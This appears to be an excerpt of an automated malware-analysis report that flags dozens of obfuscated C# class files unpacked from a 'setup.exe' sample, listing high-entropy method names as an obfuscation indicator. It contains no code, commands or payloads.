Source: 0.3.setup.exe.579e52d.1.raw.unpack, KLcRs6f22jTViHkfl2w.cs	High entropy of concatenated method names: 'agjYRY59jV', 'hFXYIRyY2V', 'd1CYdtyanJ', 'UVIYGX6qSJ', 'up3HJDbz3uB4pSuxBgx', 'XEWythbu3iqQuAhJYSm', 'wnvuQXbmH4HZEpiNvK8', 'E5MtaMWng0Er7Ss1Wgl', 'bZOriRWoAlCuvkSW5Aq', 'uBXVc9W3EHDri0N9xPA'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, byE6VChEly8AY9bvE0v.cs	High entropy of concatenated method names: 'OrNFBbgLXF', 'RO4FDXWlLi', 'vWBFU3aNIp', 'jjIFADnbSO', 'ocTFNFXROO', 'Enk9JCZQQ2gKOycmrQY', 'T3fXqQZ4jTqyfcoc1jK', 'Wp3EDeZyODowQIhK80W', 'EvckY5Z6hdSxOD3UF5r', 'mnyCs9ZeTtrDyNONgK4'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, lXpDFxYhc5C26RuGcr.cs	High entropy of concatenated method names: 'RDFyxhc5C', 'PCwDwLypQxkeZ5J8q6', 'Nws8tbd2eW6XnKT8k4', 'fkSJ8wAda39MURoWwi', 'CMxITK6iwQrZYkTHV0', 'UHFeS3Q6SC7LXxfUCT', 'r5uHR8BUL', 'xfrf2RSIX', 'tD1hiwMjb', 'ihdmmvwxA'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, jB5HV522kNGacTen0m6.cs	High entropy of concatenated method names: 'tO4', 'YZ8', '_4kf', 'G9C', 'NNoMSoaWBJClAbT7U2x', 'bcV9ouaU7H3EZxLq0ns', 'KRALpqatvb3BqfrfMD6', 'ghrNL2aweMAGSye5lyP', 'wwql0xa91iF9lUB3hof', 'fNO3uxaEyyqn975dfol'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, p7uAljOAZnnj3S24g4A.cs	High entropy of concatenated method names: 'K3QaNJbF72', 'GT8kySpIEwY5Y6NaFfO', 'oQZXVCpdn49mj1n1XcO', 'bl3RyDpS5IulsvTjN4Z', 'fdCyhNp8fv9bNVlDpuk', '_1fi', 'stBg4cRKTW', '_676', 'IG9', 'mdP'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, N50HtghQ1ltYfM0CCbc.cs	High entropy of concatenated method names: 'BBn8tZwmNc', 'v5X8xUc4Km', 'p6B8y75BdW', 'GsZ8WqrTxL', 'jqu88WPugA', 'WP486bemj8', 'oZr8MBUa7w', 'tUI8vktN1W', 'n3o8spfuJb', 'RVa8ioapFx'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, DHo3CuhxI02nG852sHS.cs	High entropy of concatenated method names: 'hyLyBk7nws', 'cwHyDer8sS', 'cZFyUEEVvs', 'eenyAcfdLw', 'JKJyNOJ49t', 'gTuaK3xWEN46YYXAoLd', 'NLGqPBxjjG2By6evC9Y', 'NflNnuxbVCk8Z74Y0AU', 'zpXju8xUU0YWTZlrk2V', 'kCGDFYxtuEuFefHhx8H'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, is6jIifz3o3eEeJQbAR.cs	High entropy of concatenated method names: 'JNwJgwiLcd', 'MqJJaLeBui', 'lx4JRJt8Aj', 'SEl4EP50TXMmBItngPQ', 'zRII2b5FwAA9fiysNsc', 'Rop10G5RDcgwJnlh1w5', 'fR5KZ35BlNCUtrehFpR', 'MHcwvq5pVoaElYU6vtd', 'yQyKBO5XFQDRcpOSJRb', 'UJR5WX51vHMja9qvetm'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, GysY0PfhfoOuSxu3Z5s.cs	High entropy of concatenated method names: 'QKxYljg061', 'xpUYrnpmU3', 'CqpY7I37n5', 'eNXYnBqZf7', 'wYNYCetea3', 'i8qYoU7OaT', 'IZyePAW88ag1iBPVcDt', 'K1QR1KWxPG86wY0j0tU', 'mURvk8WSZGbxB0YapOW', 'XPkUD3WI5RJY2ukQBg2'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, eRnBw92W68bvJKxxL0Q.cs	High entropy of concatenated method names: 'rU3', 'YZ8', 'M54', 'G9C', 'iN6osxlR62GJ5Cokl63', 'BbicMslBdDq7DnORg4Q', 'DkQyw4l0hkoxPAtQHN9', 'N20SvjlFBycq3s2HIDY', 'Q9TeUjlpfxWxYOgYmg0', 'a9KZbXlXWZNMJrh6WmR'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, rIxcOnYb4OALDyY4v5X.cs	High entropy of concatenated method names: 'GhTfPOLLyCuJx', 'LQuQhn1rI5MIVKBXRQm', 'os7lo61JEcMLiO4hyQF', 'MLULMK1Pt0LhJPDtJ7f', 'Rdi9OP1jN4MJ2G0LJr7', 'Nm1aBF1blSBVybij7EQ', 'YC3xbY1VKSjPeT3RV2g', 'qcIYb31hH8BaXGAE9mf', 'rGCQOM1WAa7dv3wSdsZ', 'FQaXFa1UhbFEG9143td'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, A1XuBbmLGyiZelvd4BZ.cs	High entropy of concatenated method names: 'Aby7PsfYpL3NN5O5xI4', 'p8n0xIfaGeqiPjNqf6q', 'pkQdd0fCUZKK9xfZYYa', 'JhgrX4fGlI0g20ZEkEM', 'M3gNOFfl7li4WSqYuoD', 'A25J0vfcDVIMiKrBFg5', 'yWhw0pfiEcdn2TPf9rA'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, i1CvfsOcGWbb8OvGSXC.cs	High entropy of concatenated method names: 'fKw3q7TA4K', 'r7F3EssmDf', 'gwM3cXgZIT', 'Q893kjekvc', 'evd39A8JJP', 'QquDlXBHVPlrIuUu4HS', 'iWCAAPBurMw5s43fYcZ', 'eR4jK4BmvohcV4Jag2o', 'D7MtTpBz4fF0phEMkOb', 'RWJCYs0nBB9dom0e40g'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, x5hrhkCFvJrgr8mBhC.cs	High entropy of concatenated method names: 'P37', 'YZ8', 'b2I', 'G9C', 'RrZxNBGpSdGv1dh5kP7', 'ADNlkZGXhqE6O29Dqe7', 'ISD20BG15pd9urWkgYu', 'f32C4RGNDsFEZARx4Th', 'KT07VfG7VYnj9qQj5SO', 'e3q8uaGkYI0CyokxSH0'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, SNlKKuO7I6cGRHcTtIu.cs	High entropy of concatenated method names: 'PJ1', 'jo3', 'yI9R1dFRvW', 'VrXRJ1TlNH', 'SL8RbAm3xZ', 'EC9', '_74a', '_8pl', '_27D', '_524'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, LLi9WBO93aNIpbjIDnb.cs	High entropy of concatenated method names: 'IGD', 'CV5', 'FtT3X1ZiIF', '_3k4', 'elq', 'hlH', 'yc1', 'Y17', '_2QC', 'En1'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, RAuvdIfCNH56e4S16YA.cs	High entropy of concatenated method names: 'oYo', '_1Z5', 'v6ZN44xNTV', 'DL5JhHFj6Q', 'FoPNkL9vGC', 'IGnXRPEVNcpoAshPMD5', 'wcnYM7EhElq0IEGkK9a', 'QR79TOErx5AxuGmRwsO', 'xMw8ySEJvIelsqnuIFa', 'dMJN1OEP4ZKvtHGGiT1'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, morTg8mGOLgLdEPjRL3.cs	High entropy of concatenated method names: 'FkmXKfgvVd', 'GrfXeYOc8D', 'JugXjU3Ahu', 'XYLXQOlnlf', 'abNX5Rtq0c', 'ISdXuYoNSc', 'DAq8V7e7WqOrRjmyEak', 'rvRUupe1oKZXPaq4goO', 'TCnHf5eNbFgPX3nlbun', 'PIhc7gekPGt6NHd0VW7'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, cumgRwmfo5GNJYDurL0.cs	High entropy of concatenated method names: 'z6PGWIy9mxaLhFSOpLe', 'AJU3DbyEjNhuNu2bSiP', 'RCiEExyt9embfE7yUWZ', 'Cs04mFywa3TA9hdHP3P', 'O5xqX4w26X', 'ART9o2yZUqGxMrKS63t', 'nJi0YLyxDg2hhgZtDvx', 'UaVGORy5mxvEXjenWY2', 'BRsI30ygaeEyaLNdbja', 'qeObWyySv2llUYNO0X2'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, Y7QYrrfvQ9nD9MeeT1w.cs	High entropy of concatenated method names: 'ecgVKXRosb', 'Yf6VeDGdvh', 'HFeVjfCwWS', 'zGjVQ1TxTj', 'LbjV5wfi4d', 'LomdB4waGni5yjSxtvl', 'YVWI8mwlXAygBCBvgqr', 'ioILTDwGHYq7iney1iL', 'ktIJaMwYCQxK5X5Be4N', 'FZkrTewcn3H97GhYrOT'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, fchL40HkdNs4HmoWVxL.cs	High entropy of concatenated method names: 'zCWhEgvadb', 'tQIhcBKN8N', 'Vx7hkAJaqi', 'Q7Dh9op2iu', 'cVchX6l3A4', 'pTof9cJnIYkVCQAAaVf', 'WkyPaZJo9IJkqrwQhvC', 'TZLmgHrmV0s48LSwR3A', 'pXeWDTrzyvx7LLc0RYy', 'vOcwlWJ3fwNnwsQ13NV'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, G4wpUcHq3aVflZCTVE7.cs	High entropy of concatenated method names: 'V4Qhydfg8r', 'HYuhWcei2s', 'OgIAngr5Dq3TSUu1GQY', 'vroqnqrg8V6YdtZ5Ey1', 'mer1Pyr9ac4R6sP81YV', 'mQkoKarEGABuXNgcCCe', 'zG4fByrZQxOC7v2wF6K', 'DaBV0mrxqMxDE9JM85E', 'CbrEOBrSr19hcKaH1DR', 'EYjSfir87J84ZwNBVmU'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, lJ73jdzlbP3WCG0wTh.cs	High entropy of concatenated method names: 'Y29', 'YZ8', 'jn6', 'G9C', 'TOSwfWaCRs6SAFxy04X', 'kll8YhaGkCGTUfO98LG', 'g9nFKXaYY2roshiHRT1', 'ltHy0SaaM0tOarQMNjI', 'm17EtqalBO1flD9JY8L', 'nDKPUracyScraSV4wOf'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, opJZns2b0jq0qvES7gN.cs	High entropy of concatenated method names: '_6U6', 'YZ8', '_694', 'G9C', 'YqjsVClW2K994myY9rm', 'tcl24blU33JFvc1dFko', 'W8VnWWltMsnPp7kFgr1', 'U7SpEAlweUcnbeNH5u2', 'ptSPwZl97IHqlS5ALRe', 'FyCJ93lEnDVUD7M9cEx'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, PC1p61NualE6Ua4bVr.cs	High entropy of concatenated method names: '_59M', 'YZ8', '_1zA', 'G9C', 'AjTUxkC4Io2Mkuupvtn', 'tUktNCCeaO0wGOyiL8Y', 'oESePxCfmtpnjnWdydM', 'UtKVbvCRE16dLBAlCqs', 'xp8EbYCB5Nqcxh4P5yt', 'SNv9C7C0eoDBnEIq80b'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, Iy5Q1wmjxbv7SlxNC5n.cs	High entropy of concatenated method names: 'o4JthiHYf3', 'Kcptmj317h', 'lcWtOLUP9K', 'yXAtYRMQAG', 'A9otVgJUMx', 'peFt1MO0Uw', 'iFltJ4ojj4', 'MHntbtcHiK', 'c7QtZDcPff', 'vvgtFcV99v'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, TDbBIEfWmjHTBc1emQ6.cs	High entropy of concatenated method names: 'Ih0Vr4V1Qt', 'OlZV7rNQsq', 'OvyVnn7lqn', 'oQXVCOfsGB', 'u7xy1tt6UbqwZ3vGXL2', 'reiF4DtQWpDCjgrs8Jf', 'C8ZqH2t4EEdJlHb7QnN', 'xIm7W6tAPLuQ2qlgx8R', 'UVoSCCtywhlGFwWU9YE', 'dxkPSEteZfTZBqh0KR5'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, xDcHmV2I6oGJrEwQ1Uc.cs	High entropy of concatenated method names: 'X9I2nHDm8f', 'dRl4iE23lkXkDdBa8fu', 'ac13G52CBySvWrOLhkh', 'BCyBHB2nxvlJ0MOCQEP', 'n3FhLg2ocZk8gVKP0h9', 'XSGtD82GBfVY2KcZyRk', 'RBW3SB2YN34IINvpToJ', 'eMe4Mm2a7ruhVoO5AGo', 'Yn12oET0T1', 'Bm0pwm2iDatXG84ApE3'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, MTCy1Fl5USLX19ghGV.cs	High entropy of concatenated method names: '_66K', 'YZ8', 'O46', 'G9C', 'ysB7TyGMoGWZQifP561', 'MvWiIlGq7R3Pvrefvu9', 'ODFG2NGvf4aJpYylJ8p', 'u64Ow4GVMDRTgb0aUFT', 'frIAvyGhb4l9SDV6IWj', 'kGbwaLGrDpOP8YaNT7u'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, PXDiQYHNfGwncQNkTJu.cs	High entropy of concatenated method names: '_0023Nn', 'Dispose', 'waTmDwlMr2', 'miJmUDCXDi', 'VYfmAGwncQ', 'IkTmNJuH1w', 'ReemLa93n3', 'pTEQkSjioycwQ2fdVXA', 'gkR895j2SbFLVTm6234', 'yyb9RajlTT29Va5l7Gv'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, xxNf8kHMMtydiwANQ2R.cs	High entropy of concatenated method names: 'C9Lfullelc', 'fW2fPwLxHB', 'ViyYUDhWw1LWldTp7Fi', 'toax8HhUIarnWQOfGEq', 'zVfK07htxTnPKrLGU2v', 'C1VXa8hw1RkyCgW3tW1', 'RPgJuih9Lr4HaCSHC4J', 'ueeap0hEaOviE4U7kJi', 'hoUi68h5gq5fBKQ8ywk', 'b0lv3ahgNDHHCXngANk'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, kbvOuxOdQ7mgA4wkEU8.cs	High entropy of concatenated method names: '_159', 'rI9', '_2Cj', 'XEFxtUgTnn', 'afmx3Jaq3n', 'nWcxxEfBQa', 'y4Fxgnasf1', 'L05xaSDGEi', 'QGoxRhcuYu', 'a8sFAJFeiqt0uFl6Hai'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, o74DfH2NhfUDqp5tRF4.cs	High entropy of concatenated method names: 'W2X2uQyd9P', 'VgfWvu2eK6AmgI3LrIB', 'AJalRh2fyOEBbutaXbb', 'WBEDmT2QFIBCQ2KLxY7', 'pBvHdh24bswdVmkhofk', 'tyEYXo2RwvELXZMyGYC', '_3Xh', 'YZ8', '_123', 'G9C'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, uW5BK72cOfbap6hqklt.cs	High entropy of concatenated method names: 'gHL', 'YZ8', 'vF9', 'G9C', 'oNse9sc5ZlhMOguUloo', 'dBUsvgcgf9NI7pcEFiM', 'eW6Uu9cZCSqb3rD5Gy3', 'yWQDbicxL4JeQFy9hCH', 'K0q9F2cSame73kCnXAg', 'gojA3Zc80fovLG2oGSh'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, YVytucBAMI0oaC2LO1.cs	High entropy of concatenated method names: 'g25', 'YZ8', '_23T', 'G9C', 'bNkrueLgc', 'ljeal63Qlw8KXnEWlLY', 'CmUkfR34bA4aDTDF0VD', 'NJpGkJ3e0qpTUxeG0eW', 'W1ZOvn3fgAmp9RwYKC3', 'PdstYC3RgGyOQChQUUV'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, zXqnJP2DhQHrlLhxb6k.cs	High entropy of concatenated method names: 'yqu2egYXG3', 'nFxpiX259NTF0VkjrcK', 'eQlm4Y2gAkA8XjnZ153', 'HDJ22M29j3ksOgtbFoQ', 'NL47ev2EfiIHNx67hfW', 'C0JukR2ZUt9ZFKCTL8o', 'QLw', 'YZ8', 'cC5', 'G9C'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, kJKYscfleqMcvaIoTSq.cs	High entropy of concatenated method names: 'sg9', 'wKiNXBx2EZ', 'JoY1uLRZQD', 'l0lNM8kaCp', 'GmveKN97y02ik2DtKnJ', 'mrh0oh9kuorW0NghTRA', 'c8RvAU9sySZ9QEhgnHU', 'yPAve391AUl2of1f5kD', 'YT00nW9NNnBf0GrrpA2', 'G6qLlE9TCcsYE9XxqX9'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, NmsFsmheM7Pb9PpVk9n.cs	High entropy of concatenated method names: 'l3WWuedgB2', 'DBGWDYZU0p', 'B0NWUj2mtq', 'pRRWAs3vtE', 'pe5WNbZBhe', 'osvWLm6lrN', 'rTTWTgm0qq', 'BHnWwYTerx', 'MPXWlrj6rw', 'AbYWrSVABb'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, Uf6bHnmIdXTU1NR7Dap.cs	High entropy of concatenated method names: 'N3lXoVLXVK', 'MHTXppIGkb', 'pdFXSM9glJ', 'GQhwfMeBK8X959NmqPr', 'Y0l9LaefPvVcFV19rya', 'MAdvnxeRgGIq5oBJqGZ', 'TeNIgoe0eLEvZFpjF2e', 'Sur0CgeFpgDjmKv4X2C', 'M1Q6gRep0nj9imUoZ8n', 'LjiFjjeXr157WtMdeyZ'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, l3xoVV2fuLKlPiEj3dH.cs	High entropy of concatenated method names: 'R1x', 'YZ8', '_8U7', 'G9C', 'mjntpLaIjgIAoXZQQA1', 'rHHnpKadwuVH4C3oYri', 'rUPPeNaAC6Ff5FZZIjB', 'Jr2URMayOmRAKCMfZNo', 'zo6Qjea6X9qFrCjNhRq', 'YhCoeAaQXwLUnOYFvng'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, cKp0fR2xkcxvcybpxtf.cs	High entropy of concatenated method names: 'Ai7', 'YZ8', '_56U', 'G9C', 'd9XE46cmqr10qCrKVfh', 'IyPScFcz3KS5PZQYaum', 'HbrUKUinTwAAnlopTeq', 'js8w2nio6d5L3nD7oDu', 'vU7aTUi3T9AbxuagHes', 'auEWeiiCtBB2ZuR5VUa'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, OK2axrOSPhTplxHVhhQ.cs	High entropy of concatenated method names: 'xugRksQJIy', '_1kO', '_9v4', '_294', 'GYxR9yeOl4', 'euj', 'WYyRXpwFS8', 'pFORtvUFt4', 'o87', 'eZ6R3CuZtK'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, TvwniidJMM79iPAZop.cs	High entropy of concatenated method names: '_52Y', 'YZ8', 'Eg4', 'G9C', 'P9PTuHKqp', 'qcvvTO3WoFrSfpVqK00', 'd5gj8b3UadYgsr4DwbC', 'NrH1y33tnw2R9nQMw1L', 'rtVbtk3wtIsXiQaqjMH', 'COKvOS39L3rX0xx1rpO'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, RcQaUSfFHh8WWSqBM9j.cs	High entropy of concatenated method names: '_223', 'DHY2qxtjBpWePZ9brCj', 'kCMHn1tbxlguWaQls4R', 'kPDREgtWMGxILjdmZUc', 'bJo4n8tUFWje3om58lY', 'T1DmdlttHYTpHGtFOmL', 'ge2T7atwRbWxnrg1QlW', 'cp9kd2t9HilLTTH2wbt', 'Rg33yJtEnIjKXvKfiSr', 'dFxnpht5lBpHxm4El1I'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, GuqBLk29hrgBJuREweW.cs	High entropy of concatenated method names: 'kNf', 'YZ8', 'U31', 'G9C', 'fMp6dKcQPBDvfUUWouv', 'uhW7E3c4lLwP2QGdPQO', 'hms9jocem1vy1cejfIh', 'vhJepccfVpOx3kDW7ic', 'NLrHHUcR1eqYVvtHmRL', 'jElgyucBJLWhHRxy9VW'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, G82KEahbmcgXRosbPf6.cs	High entropy of concatenated method names: '_4J6', '_5Di', '_1y5', '_77a', '_1X1', '_7fn', 'OUK', '_8S4', 'wUn', '_447'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, h8LrZpH1ycWYfObeUph.cs	High entropy of concatenated method names: 'EUnfGBtnBT', 'rnifBfyH7B', 'akafD9HTJ3', 'idMfUVWsmj', 'iscfA9mmro', 'juufNB39ut', 'pbafLhE5Zu', 'nKHRPuV5LsIjmZkdmum', 'SRX8U8V98nlwlUwEouk', 'x8n1a1VEPZ7cMC0SPym'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, e0pXhdUdKPnVUX2H7E.cs	High entropy of concatenated method names: '_3OK', 'YZ8', '_321', 'G9C', 'AaQmIS3ucKRFuA3CSb3', 'wIpEpg3mvoupBbEqdgn', 'De635h3zjh6nsVWe2Q7', 'EuWtD2CnsUBaRRgvfGH', 'cGtJdICoHZAWEFKOwJN', 'CsjLedC3rdGy1S0i1kG'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, D3wavkfQCexPoKnN6BR.cs	High entropy of concatenated method names: 'Yxi0tY5ekW5PX9qWntl', 'QjTYiW5f9E3KXSfXIqK', 'a4DbvK5QnTlWVuPrcuY', 'XSkFKk544cWhv3fveKY', 'IWF', 'j72', 'OZJJMLbunV', 'v7VJvOEHl8', 'j4z', 'N4UJs6N0NY'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, d026YmHaraTlsWvcl8n.cs	High entropy of concatenated method names: 'k0qhuFJtrw', 'jibhPrTdGF', 'vU4hzwpUc3', 'AVfm0lZCTV', 't7Im2Qx2jG', 'gw7mHfjNkk', 'bjomf2Ol43', 'RhWmhDnhRe', 'GctmmOOchL', 'HagABmJOTRyXqOHWOjs'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, Dfg8rUH0Yucei2sv8d2.cs	High entropy of concatenated method names: 'xccHt7MDF1', 'cFBH3n4Klh', 'opJHxZns0j', 'uVStcBqyGkjFy2fj9rG', 'jGEu6wq61o6ZWLxBXqL', 'B6iBBuqQkZ71WDocMMQ', 'mgwd6cq4PN70AXMs6Da', 'tu6fwqqeSbMmtZRDj7x', 'N7OuWWqf9rCyKjaJRU1', 'f5yutSqdGsrSbbIdH8T'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, gkrqc6fcRqt2IB7DGkP.cs	High entropy of concatenated method names: '_525', 'L97', '_3t2', 'UL2', '_6V2', '_968', 'Kk3o5O9VVpmKlKFSiSR', 'O8xVNE9hW9CeyW7g2bJ', 'ECypuw9r5VsZeuGku3A', 'JRPQ949Jfsxute39SIW'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, IbYE3Dfey6C0QRYYwn7.cs	High entropy of concatenated method names: '_269', '_5E7', 'FZeNOp9eSk', 'Mz8', 'KikNfdh0kZ', 'qMo6W7ETybojofv22Mg', 'FNbCMMELFhN4lmZUUPH', 'wUUHmqED2Y2jOSkOmFY', 'Qh3ZmQEOBDdlG64cQY8', 'zAFET4EKp9IQbvtDFL7'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, oQXOfsh1GBDWP53bgdR.cs	High entropy of concatenated method names: 'uxk', 'q7W', '_327', '_958', '_4Oz', 'r6z', 'r7o', 'Z83', 'L5N', 'VTw'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, Rr4X5J2i0tpvY5athqs.cs	High entropy of concatenated method names: 'iF52RUSLX1', 'WDidlhcjanaDGGVymCQ', 'J619bBcbmBcM9YOsq0r', 'L3HdsPcJLtoiM6IDodi', 'v2utyvcPqgrhlcQLM3i', 'BOOya7cWIOB09NdwdIX', 'jWlEgIcUxcOge1292g4', 'LWIxBvctFKFp8C3B5K1', 'SccVb7cwpUxgEssGj6x', 'f28'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, prrrREOar01ZrTN85q6.cs	High entropy of concatenated method names: 'dR2x118CGA', 'MpmxJUlpeb', 'RWIxbeY7Z0', '_3Gf', '_4XH', '_3mv', '_684', '_555', 'Z9E', 'FJ6xZlggJN'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, KqWHVFHTrMbpbwPWrAv.cs	High entropy of concatenated method names: 'z03OVbQL8Z', 'RbnO14cn4q', 'S7c2sfjOwAxH2BC6cFh', 'BRROdZjKIaMFs9kA0lS', 'oi9eIJjLqqNliip4ZmH', 'IIC12YjDqVppX13Sg9S', 'R0uOMwGKSI', 'dnMuVebnrhCGAqNRLUC', 'c94pI7bolOn6n6fvu2M', 'M9ad3ojm6D41TgeEaMN'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, dwHoH8f6Z0QXrX8yG6f.cs	High entropy of concatenated method names: 'BSXVpf3GDS', 'qJTVSuf20y', 'd9UV482KEa', 'ptS2YLt1Jr0vZt0OSoM', 'ScysP0tNiU0ZPFBH6fb', 'eCbckgt7tLoIr0ZExeF', 'hsZtxZtkkaiVyi0iihA', 'wOejWQtsfDDUD8nUb1T', 'Nj9MhqtTjioHeeECbFU', 'f11aRwtLYwLSvIL4tHs'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, vLRQRnHWWvCrl8jP7Fc.cs	High entropy of concatenated method names: 'bqOfQ4XqlZ', 'S1QAWrhC63PpfVpDeIb', 'ut2kjihGX7C4p9vUsjM', 'RKI3VOhonwVjvo08vUR', 'hXIIKWh3ThJSETcQG8t', 'PjfvT5hYF7mN6WwBP5E', 'v1dpVEhakqOp2QK1bvE', 'pQD4ubhlRTVqHAxK1Ef', 'bkpBI6hcYAhb5a6DpHE', 'r4xXArhi41t0ouvSr83'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, d1Npw0fiNuU81sXUKa9.cs	High entropy of concatenated method names: 'Glx18eh7Hy', 't6V16Cly8A', 'g9b1MvE0vO', 'agDjoRwpGsn8ungdLAU', 'eKMX6nw0MjlKZOvDUKp', 'xVTWjBwFrUvI8FQ1m62', 'BVQHhSwXSMYYI9L3HGJ', 'LfL1O1FMpL', 'oFH1Y9gARe', 'Ged1VhN31d'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, Pmx5jJYt808kbxl33Dm.cs	High entropy of concatenated method names: 'agJdXOfEHZ', 'x8fdtSVFqv', 'ilud3B6d1P', 'SOydxTO6Hx', 'a8idgP5Erh', 'LfkdaSlE6W', 'RBPdRtpMPF', 'ROmdImxWi1', 'sCXddUTvZ3', 'zkZdGA5UQn'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, qKwCUKYykFaJEfgPiqH.cs	High entropy of concatenated method names: 'f13uOn1ZofGwl33h7G6', 'r35AFY1xvmwAR4V5qse', 'y7Hl1B15yGBnqMpuKUn', 'BDbv1l1go7w7xwyGuck', 'NnBdWh1nSK', 'oAa79K1IN2LcuKvUNx6', 'cnPODv1dGWje6FegnAw', 'Ua0HeF1AYuEuI0KQHsw', 'klcdcn1ypiU4bxEwOYK', 'OurKTN162eCtoXttdPZ'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, YuegPVO00D0UlCvpvck.cs	High entropy of concatenated method names: 'Kultnpn8FT', 'sXBtCDeBhq', 'Rw0toZ58xP', 'XvrtpwvOub', 'ughtS0Dlm4', 'u6wt4nmQfs', '_838', 'vVb', 'g24', '_9oL'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, CXBPxDf44fCwJYb75hy.cs	High entropy of concatenated method names: '_3VT', 'O5t', '_1W5', 'aGDJbk1N64', 'mT2NAysY6x', 'LprJZXgYGH', 'RjBNuu34xG', 'lPi2TCEfCBA0EeX2Lh8', 'p9CRkVERdEvyxhp7TrD', 'icun7eE4ADJxWCkKJRL'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, nbpuiJfJhwV2392L1Jb.cs	High entropy of concatenated method names: 'LGsVBG2cq8', 'btqVDiWpig', 'S0PVUQexTm', 'R61EAYthO4Qq2eDPuAK', 'hU26mItvjBH2DIQDvUs', 'BCjqvetV9tLb1sqFn1o', 'F3eMCDtrJrnu36VI5HS', 'P0QV8RYYwn', 'NLdV6o5V5I', 'LwaVMwxJE0'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, nTun1c2vmWOObMmYrbK.cs	High entropy of concatenated method names: 'yiQ', 'YZ8', '_5li', 'G9C', 'cwTgRVcnbjqa3M3elIY', 'bJG3Igco1i7uIZ5YEf4', 'L3CZjoc3gLM6WxVkB1t', 'TOugcncCMYcBNoE2RoP', 'hao8RBcG58WpeuJFakb', 'W3V1dqcYqun8Tqtrpqq'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, cYwpsCHsjEshE97S7Hh.cs	High entropy of concatenated method names: 'q5AfzYXTgb', 'VNRh0ZuIoI', 'Pe6h2wvG6U', 'gGghH9pZrs', 'k6Ahf46UBr', 'LOxhhf5Ee3', 'F0PhmRl63G', 'K3whO1ilp3', 'pBZhYmyVDo', 'xbNhVnP6D3'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, wE5Fs7mac0XaWQKTy8s.cs	High entropy of concatenated method names: 'PSuX7dBTi8', 'khRXnm6isG', 'IqSXC95oou', 'Pef0eceQM41Grx4DUg1', 'DbutcJeygtXCifgHfw5', 'uVh3AMe6NM3S7BKU7LO', 'HYrmUoe4xjFEUyuVDhx', 'uW7D28eehZFlN5viVQx'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, TYjaPn41ET0T1IWALU.cs	High entropy of concatenated method names: '_8Ok', 'YZ8', 'InF', 'G9C', 'EdNXTTYrrbx6Ka3XLqY', 'vB0OidYJKoVk8P64XUV', 'v0EXnOYPv424JjL4htj', 'brF0ElYjZNFSwFhDUur', 'Qg43UmYbNYB9trZVl2V', 'mgEK0eYWdXiQsOd9cx5'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, Iny05POOWxP55wFyejR.cs	High entropy of concatenated method names: 'Qkp', '_72e', 'R26', '_7w6', 'Awi', 'n73', 'cek', 'ro1', '_9j4', '_453'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, IikoOS26SydjVb6KprG.cs	High entropy of concatenated method names: '_981', 'YZ8', 'd52', 'G9C', 'VlVeNRlLlVMKnTcV4rg', 'AJMjbRlDb7r2C8PcPwX', 'ifVSxYlOYsBvlXPrDM1', 'TOAQHIlKmUd8caKpcie', 'vyr0wWlH3LmyBC9PRJr', 'auUZF9lu7NGlSA2qKJS'
